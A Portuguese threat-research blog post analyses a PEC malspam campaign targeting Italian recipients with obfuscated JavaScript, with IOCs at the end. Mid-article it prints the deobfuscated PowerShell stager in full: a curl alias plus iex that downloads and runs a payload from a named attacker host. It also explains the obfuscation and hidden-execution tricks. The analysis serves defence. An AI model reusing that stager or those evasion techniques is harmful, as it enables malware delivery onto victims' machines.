0 minutos de leitura
Código JavaScript Malicioso Enviado por Meio de E-mails via PEC (Posta Elettronica Certificata)
Em outubro, a equipe de pesquisa X-Labs identificou uma campanha de malspam direcionada a empresas e indivíduos italianos por meio da PEC (Posta Elettronica Certificata). A PEC é um sistema de e-mail certificado, amplamente utilizado na Itália para comunicação segura e legalmente reconhecida. Esse sistema é comumente adotado por indivíduos, empresas e administrações públicas, especialmente em situações onde é necessário comprovar a comunicação. Devido à sua natureza confiável, a PEC é frequentemente explorada por cibercriminosos para fins maliciosos.
Nossa equipa observou diversos e-mails de malspam semelhantes direcionados a várias entidades por meio de sua telemetria em nuvem. A Figura 1 ilustra um exemplo de e-mail usando a PEC para distribuir código malicioso.
Fig. 1 - E-mail de malspam
O e-mail era direcionado a um cliente italiano. O conteúdo foi traduzido para o inglês como segue:
Gostaria de chamar sua atenção para o fato de que, em virtude do contrato assinado entre nós em 1/06/2024, você está obrigado a me pagar a quantia de 1.254 euros. Até o momento, esta quantia permanece não paga, apesar de vários lembretes que já enviei.
Portanto, informo que, caso o pagamento não seja realizado espontaneamente dentro de cinco dias a partir do recebimento desta carta, serei forçado a instruir meu advogado a iniciar os procedimentos legais para a recuperação do crédito, sem novos avisos ou lembretes. Esta comunicação, portanto, constitui uma notificação formal e interrompe o prazo prescricional.
Atenciosamente,
A fatura está disponível no seguinte link:
O nome da empresa e seu endereço foram intencionalmente redigidos para proteger suas informações. O agente da ameaça disfarça a URL real usando o nome da empresa como texto do link. No e-mail acima, identificamos um link malicioso, a saber:
- hxxps://nk916b6wt4xq0kq92uq9a5b8xdk19cqbizqfbty7sw1jehqee3ds[.]customerconverse[.]com/aoc9h3
O subdomínio parece ser gerado por DGA (Domain Generation Algorithm) e parece aleatório. Há informações mínimas sobre o domínio, o que indica que provavelmente está sob controle de um invasor. No momento da análise, a URL estava ativa e baixava um arquivo JavaScript malicioso (_Fattura_38377668.js).
Vamos examinar mais de perto a estrutura do script e analisar seu comportamento.
Análise do JavaScript
Em uma inspeção inicial, o script parece fortemente ofuscado, dificultando a compreensão de sua verdadeira funcionalidade. Para entender melhor suas operações, realizamos o processo de desofuscação.
O script contém 3 funções:
- honour_march_0thehas()
- honour_march_0wasbut(thehas, wasbut)
- hvngqasq(zfutxpog)
Vamos detalhar cada função para compreendê-las:
Função honour_march_0thehas()
Dentro da função, uma variável overchurch é declarada, sendo um array que contém quatro strings. As strings no array overchurch parecem ser dados ofuscados ou codificados. Sem mais contexto, é difícil determinar o propósito exato delas, mas elas podem representar informações criptografadas ou codificadas que podem ser usadas em outras partes do código. A Figura 2 mostra um trecho do código.
Fig. 2 - Trecho de código Overchurch
Função honour_march_0wasbut(thehas, wasbut)
A função recebe dois parâmetros:
- thehas - um objeto ou array que contém dados codificados.
- wasbut - provavelmente serve como uma chave ou parâmetro adicional para decodificação.
- A função chama a função anteriormente definida honour_march_0thehas() para recuperar um array de strings (armazenado em viiheld).
- A função externa honour_march_0wasbut é reatribuída a uma função interna que realiza uma operação específica.
- O primeiro parâmetro de entrada fromhabit é ajustado subtraindo-se 301 (0x12D). Este valor é então usado para indexar no array viiheld.
Fig. 3 - Decifrando a função
Se honour_march_0wasbut['AiPGsL'] não estiver definido, ele inicializa várias funções e variáveis.
Um método de decodificação Base64 personalizado (mostrado na Fig. 4):
Ele recebe um parâmetro de entrada chamado Wallsmisleading, que se espera ser uma string codificada em Base64.
Utiliza operações bit a bit e aritmética modular para converter cada caractere Base64 em seu valor binário correspondente.
Os valores binários decodificados são então convertidos de volta em caracteres usando String.fromCharCode.
Após a decodificação, a função constrói uma string codificada em URL. Cada valor de caractere é convertido para um formato percent-encoded.
Finalmente, a função retorna a string completamente decodificada para URL.
As operações bit a bit acrescentam uma camada de complexidade, que pode ser uma tentativa de disfarçar a lógica de decodificação.
Fig. 4 -Método de decodificação Base64 personalizado
Decodificação semelhante a uma cifra usando operações XOR (mostrado na Fig. 5):
Utiliza uma chave (derivada da entrada Wallsmisleading) para decodificar a string de entrada (vIiheld) realizando uma operação XOR entre os caracteres.
Fig. 5 - Operações XOR
- A função (Fig. 6) tenta recuperar um resultado previamente calculado a partir do parâmetro thehas (provavelmente um array ou objeto) usando o índice fromhabit ajustado e ownchurch
Fig. 6 - Função de recuperação
Finalmente, a função retorna o valor decodificado.
Função hvngqasq(zfutxpog)
Esta função recebe uma string hexadecimal (zfutxpog), garante que ela tenha um número par de caracteres e converte cada par de caracteres em seu valor inteiro correspondente. O array resultante de números é então retornado. A Figura 7 mostra o trecho do código.
Fig. 7 - Trecho de código do array numérico
Além disso, existem três variáveis que agora farão referência à função honour_march_0wasbut:
uaxpaudedmqohlyd
ysqyhmnt
hkjtqnfwmnjzwo
Existem duas variáveis que armazenam o valor retornado da função hvngqasq (mostrado na Fig. 8):
- aosfxhvcl
- ollazxbarpu
Fig. 8 - Duas variáveis
Com o CyberChef, o valor retornado da função hvngqasq é computado. A Figura 9 mostra a receita no CyberChef:
Fig. 9 - Receita no CyberChef
Vamos prosseguir para examinar as seções do código onde os valores retornados estão sendo utilizados. A Figura 10 mostra o trecho do código onde essas variáveis estão sendo usadas.
Fig. 10 - Trecho de código das variáveis
Há uma operação XOR entre elementos de dois arrays, aosfxhvcl e ollazxbarpu, e o resultado é convertido em um caractere usando String.fromCharCode(). O código é autoexplicativo. Para verificar o valor armazenado na variável cqlduvdo, criamos o seguinte código em Python:
Fig. 11 - Código Python
Fig. 12 - Resultado retornado
Voilà! Isso revela algumas informações interessantes. Embora ainda pareça estar escrito em PowerShell e esteja ofuscado. Vamos analisar os elementos principais.
- new-alias press c$($qgbulzirjil)l;: Esta linha cria um novo alias chamado press e o define dinamicamente com base na variável $qgbulzirjil. $qgbulzirjil é definido como 'ur', então c$($qgbulzirjil)l se expande para curl, tornando press um alias para curl (que é usado para enviar requisições HTTP).
- $bumtcbxgwj=(7251,7253,7270... define uma série de números, e o loop subsequente itera sobre eles. De cada número é subtraído 7148, e o número resultante é convertido em um caractere. Isso sugere que os números representam códigos ASCII ofuscados. Decodificamos esta seção para ver qual seria a saída. Aqui está o código Python abaixo:
Fig. 13 - Script Python (códigos ASCII)
URL Decodificada:
gizpvovur.top/1.php?s=mints13
- .$([char](9992-9887)+'e'+'x'): Esta linha está construindo e executando um comando dinamicamente. O resultado da matemática é 105, que é o código ASCII para 'i', então isso se torna iex, uma abreviação do comando PowerShell Invoke-Expression, que executa o código dentro dele.
- O script baixa ou interage com a URL gizpvovur[.]top/1.php?s=mints13 usando curl. Esse comportamento pode fazer parte de um script para recuperar payloads ou instruções adicionais de um servidor remoto e pode ter intenção maliciosa.
Vamos passar para o próximo passo. A Figura 14 mostra o trecho de código de acompanhamento:
Fig. 14 - Trecho de código de acompanhamento
Novamente, um array está sendo criado e atribuído à variável nkgkunojefmjc. Conforme mencionado anteriormente, as variáveis uaxpaudedmqohlyd, ysqyhmnt e hkjtqnfwmnjzwo são referenciadas a uma função honour_march_0wasbut, que faz com que várias funções e variáveis sejam inicializadas se uma determinada condição (mencionada acima) não for atendida. É muito demorado decodificar manualmente a função, mas podemos depurar o código JavaScript para descobrir a saída que é posteriormente atribuída às variáveis mencionadas. Após a depuração, identificamos as strings atribuídas a essas variáveis:
uaxpaudedmqohlyd -> “winmgmts:root\cimv2:Win32_Process”
ysqyhmnt -> “less powershel”
hkjtqnfwmnjzwo -> “conhost –head”
cqlduvdo -> “l $qgbulzirjil='ur';new-alias press c$($qgbulzirjil)l;$bumtcbxgwj=(7251,7253,7270,7260,7266,7259,7266,7265,7262,7194,7264,7259,7260,7195,7197,7194,7260,7252,7260,7211,7263,7209,7257,7253,7258,7264,7263,7197,7199);$oayiop=('bronx','get-cmdlet');$axvdkllmwtkm=$bumtcbxgwj;foreach($jtnsbmkhwu in $axvdkllmwtkm){$zsbvmyotsckki=$jtnsbmkhwu;$ynfictsxc=$ynfictsxc+[char]($zsbvmyotsckki-7148);$keskaghbwwme=$ynfictsxc;$peonhdgp=$keskaghbwwme};$fkzszio[2]=$peonhdgp;$ulhsdxick='rl';$ervchdsip=1;.$([char](9992-9887)+'e'+'x')(press -useb $peonhdgp)”
hkjtqnfwmnjzwo -> “time”
winmgmts:root\cimv2:Win32_Process:
- Essa parte do código está utilizando WMI (Windows Management Instrumentation) para acessar informações sobre o sistema.
- winmgmts: Moniker do WMI que instrui o Windows Script Host a utilizar objetos WMI, conectando-se ao namespace padrão
- root\cimv2: Namespace padrão no WMI que contém muitas classes relacionadas à gestão do sistema
- Win32_Process: Classe WMI que fornece informações sobre processos em execução no sistema. Isso permite que o script interaja com processos na máquina, o que pode ser arriscado, pois um script usando essa funcionalidade pode ser usado para atividades maliciosas, como encerrar processos relacionados à segurança ou iniciar processos indesejados.
Ambiente de host de console sem interface gráfica:
- O comando inicia conhost (Console Window Host) em modo sem interface gráfica, o que significa que ele é executado sem exibir uma janela de console. Isso é frequentemente usado para executar processos em segundo plano de forma silenciosa, e pode ser uma tática para ocultar comportamentos maliciosos (Execução Oculta).
Ao continuar nossa investigação, descobrimos outra tática intrigante. Encontramos um número significativo de linhas comentadas, com o código ativo real escondido entre elas. Essa técnica parece ser usada para introduzir dados irrelevantes na memória, potencialmente visando corrompê-la ou obscurecer o código malicioso. A Figura 15 ilustra um exemplo desse comportamento.
Fig. 15 - Ofuscando o código malicioso
Filtramos a linha sem comentário, semelhante a encontrar uma agulha no palheiro, e o resultado foi o seguinte (veja a Figura 16):
Fig. 16 - Linha sem comentário
Essa linha de código é apenas para reorganizar o código PowerShell da seguinte forma (Figura 17):
Fig. 17 - Código PowerShell
Também capturamos o tráfego de rede ao nos comunicar com o servidor, ou seja, gizpvovur[.]top.
Como resposta, estamos recebendo um código PowerShell ofuscado, ou seja, sha1: d70b9c14c4146ade02c79eaf8aa335f1c50d4636, ao estabelecer a conexão com uma URL de preparação, ou seja, hxxp://gizpvovur[.]top/1.php?s=mints13.
A Figura 18 ilustra o seguinte:
Fig. 18 - Código PowerShell ofuscado
Executamos esse código PowerShell em nosso ambiente e capturamos o tráfego de rede conforme ilustrado na Figura 19:
Fig. 19 - Tráfego de rede
Essa solicitação GET parece estar acessando um script PHP uvj0epxg28htr.php (o PHP parece ser diferente em cada solicitação) de um potencial servidor de Comando e Controle (C2), ou seja, fjjlkfakeinfkid[.]top, passando três parâmetros (id, key e s).
- id - nome do computador ou identificador único de uma máquina desktop
- key - pode ser um token de autenticação para autorizar a solicitação
- s - pode ser uma consulta de tempo em minutos, potencialmente para uma operação de espera (sleep).
Conclusão
O uso crescente do PEC (Posta Elettronica Certificata) para o envio de e-mails não solicitados com códigos JavaScript maliciosos e ofuscados representa uma ameaça crescente à cibersegurança. Esses e-mails aproveitam a natureza segura do PEC para ganhar confiança, permitindo que contornem certos filtros de segurança. A ofuscação do código JavaScript dificulta a detecção e análise da carga maliciosa, aumentando o risco de infecção para os usuários.
Declaração de proteção
Os clientes da Forcepoint estão protegidos contra essa ameaça nas seguintes fases do ataque:
- Estágio 2 (Isca): URLs maliciosas associadas a esse ataque são identificadas e bloqueadas.
- Estágio 5 (dropper): O arquivo dropper é adicionado ao banco de dados de malwares da Forcepoint e é bloqueado.
- Estágio 6 (Chamada de Casa): O domínio C&C é bloqueado.
IOC:
URLs de Dropper:
- hxxps[://]nk916b6wt4xq0kq92uq9a5b8xdk19cqbizqfbty7sw1jehqee3ds[.]customerconverse[.]com/aoc9h3
- hxxps[://]z6gil1l15rfl2ikt3x0cm307tvdip66tlwnr2b3cqwkbgcylevcb8mdti[.]customerconverse[.]com/r2dmo
- hxxps[://]x48zo70ug1hl10tdvxqxl24l32rud7ngbbsbnotcs7i1e6er081[.]customerconverse[.]com/xbqz7v
- hxxps[://]vx0yg09a6hpisfw16qvltqbrn100daxzzinazj6kk[.]customerconverse[.]com/hkcv1t
- hxxps[://]drlnx69mthj55zkbpcbfno3m0dsv11b0pb1ywj98au5e1pq4quzb[.]customerconverse[.]com/a4die1
- hxxps[://]we5h0up8c8mf9sslzqxpliyvgdfjtfsqyk1ic6zouyfub1t5ob82rw3ur8xq[.]customerconverse[.]com/73l1g2
- hxxps[://]g2kwlrkkzd1g83q362jnl31vluwb2vykomkk6cmd[.]customerconverse[.]com/pv10qv
- hxxps[://]wkfijx7cycdybkodehsq2lrc94n1tzm7skn87vn6t6f4s0oq[.]customerconverse[.]com/vfcn5i
- hxxps[://]3kcje55g7aih98vzkdfgqbfhihjdwhyp8q82s21xblv77qmx0snij[.]customerconverse[.]com/m7tksk
Hash:
- 90b8febf952dcb6d943418dbeff1eb487abfcfbc
- d70b9c14c4146ade02c79eaf8aa335f1c50d4636
URL de Preparação:
- hxxp://gizpvovur[.]top/1.php?s=mints13
Potencial Servidor C2:
- fjjlkfakeinfkid[.]top
Hassan Faizan
Leia mais artigos de Hassan FaizanSyed Hassan Faizan as a Security Researcher for Forcepoint X-Labs Research Team. He devotes his time in researching cyber-attacks that targets the web and email, particularly focusing on URL analysis, email security and malware campaign investigation. He is passionate about analysing cyber threats aimed at windows systems.
No Artigo
X-Labs
Get insight, analysis & news straight to your inbox
Ao Ponto
Cibersegurança
Um podcast que cobre as últimas tendências e tópicos no mundo da cibersegurança
Ouça Agora